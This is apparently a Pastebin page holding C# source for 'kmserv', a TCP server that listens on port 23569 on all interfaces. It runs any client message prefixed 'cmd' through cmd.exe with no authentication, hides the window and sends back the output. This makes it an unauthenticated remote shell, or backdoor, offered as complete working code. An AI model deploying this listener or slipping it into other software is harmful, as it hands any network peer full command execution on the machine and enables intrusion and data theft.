Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Text;
- using System.Net.Sockets;
- using System.Threading;
- using System.Net;
- namespace kmserv
- {
- class Server
- {
- private TcpListener tcpListener;
- private Thread listenThread;
- private TcpClient tcpClient;
- public static void Main (string[] args)
- {
- Server kmserv = new Server(23569);
- }
- public Server(int port)
- {
- Console.WriteLine ("Starting kmserv on port "+port.ToString()+"...");
- this.tcpListener = new TcpListener(IPAddress.Any, port);
- this.listenThread = new Thread(new ThreadStart(ListenForClients));
- this.listenThread.Start();
- }
- private void ListenForClients()
- {
- this.tcpListener.Start();
- while (true)
- {
- //blocks until a client has connected to the server
- TcpClient client = this.tcpListener.AcceptTcpClient();
- //create a thread to handle communication
- //with connected client
- Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientComm));
- clientThread.Start(client);
- }
- }
- private void HandleClientComm(object client)
- {
- tcpClient = (TcpClient)client;
- NetworkStream clientStream = tcpClient.GetStream();
- byte[] message = new byte[40960];
- int bytesRead;
- while (true)
- {
- bytesRead = 0;
- try
- {
- //blocks until a client sends a message
- bytesRead = clientStream.Read(message, 0, 40960);
- }
- catch
- {
- //a socket error has occured
- break;
- }
- if (bytesRead == 0)
- {
- //the client has disconnected from the server
- break;
- }
- //message has successfully been received
- ASCIIEncoding encoder = new ASCIIEncoding();
- //System.Diagnostics.Debug.WriteLine(encoder.GetString(message, 0, bytesRead));
- Console.WriteLine(GetCurrentTime() + " " + tcpClient.Client.RemoteEndPoint.ToString() + " [RECEIVED] | "+ encoder.GetString(message,0,bytesRead).Replace("\n",""));
- string command = encoder.GetString(message,0,bytesRead);
- string reply=ParseCommand(command);
- SendReply(reply);
- Console.WriteLine(GetCurrentTime() + " " + tcpClient.Client.RemoteEndPoint.ToString() + " [SENT] | "+ reply);
- }
- tcpClient.Close();
- }
- private string ParseCommand(string command)
- {
- string reply="";
- string prefix = command.Substring(0,3);
- switch(prefix)
- {
- case "cmd":
- reply = ExecuteCommandSync(command.Substring(4));
- break;
- default:
- reply = "ERROR: Invalid Command";
- break;
- }
- return reply;
- }
- private void SendReply(string reply)
- {
- string tempEnd="\n";
- System.Net.Sockets.NetworkStream clientStream = tcpClient.GetStream();
- ASCIIEncoding encoder = new ASCIIEncoding();
- byte[] buffer = encoder.GetBytes(reply+tempEnd);
- clientStream.Write(buffer, 0 , buffer.Length);
- clientStream.Flush();
- }
- private string GetCurrentTime()
- {
- string date = System.DateTime.Now.Year.ToString() +"-";
- if (System.DateTime.Now.Month.ToString().Length==1)
- date +="0";
- date +=System.DateTime.Now.Month.ToString() + "-";
- if (System.DateTime.Now.Day.ToString().Length==1)
- date +="0";
- date+=System.DateTime.Now.Day.ToString();
- date +=" ";
- if (System.DateTime.Now.Hour.ToString().Length==1)
- date+="0";
- date += System.DateTime.Now.Hour.ToString()+":";
- if (System.DateTime.Now.Minute.ToString().Length==1)
- date+="0";
- date += System.DateTime.Now.Minute.ToString()+":";
- if (System.DateTime.Now.Second.ToString().Length==1)
- date+="0";
- date+=System.DateTime.Now.Second.ToString();
- return date;
- }
- public string ExecuteCommandSync(object command)
- {
- string result="";
- try
- {
- // create the ProcessStartInfo using "cmd" as the program to be run,
- // and "/c " as the parameters.
- // Incidentally, /c tells cmd that we want it to execute the command that follows,
- // and then exit.
- System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command.ToString().Replace("\n",""));
- //System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo();
- // The following commands are needed to redirect the standard output.
- // This means that it will be redirected to the Process.StandardOutput StreamReader.
- procStartInfo.RedirectStandardOutput = true;
- procStartInfo.UseShellExecute = false;
- // Do not create the black window.
- procStartInfo.CreateNoWindow = true;
- // Now we create a process, assign its ProcessStartInfo and start it
- System.Diagnostics.Process proc = new System.Diagnostics.Process();
- proc.StartInfo = procStartInfo;
- proc.Start();
- // Get the output into a string
- result = proc.StandardOutput.ReadToEnd();
- }
- catch (Exception objException)
- {
- result = objException.Message.ToString();
- }
- return result;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment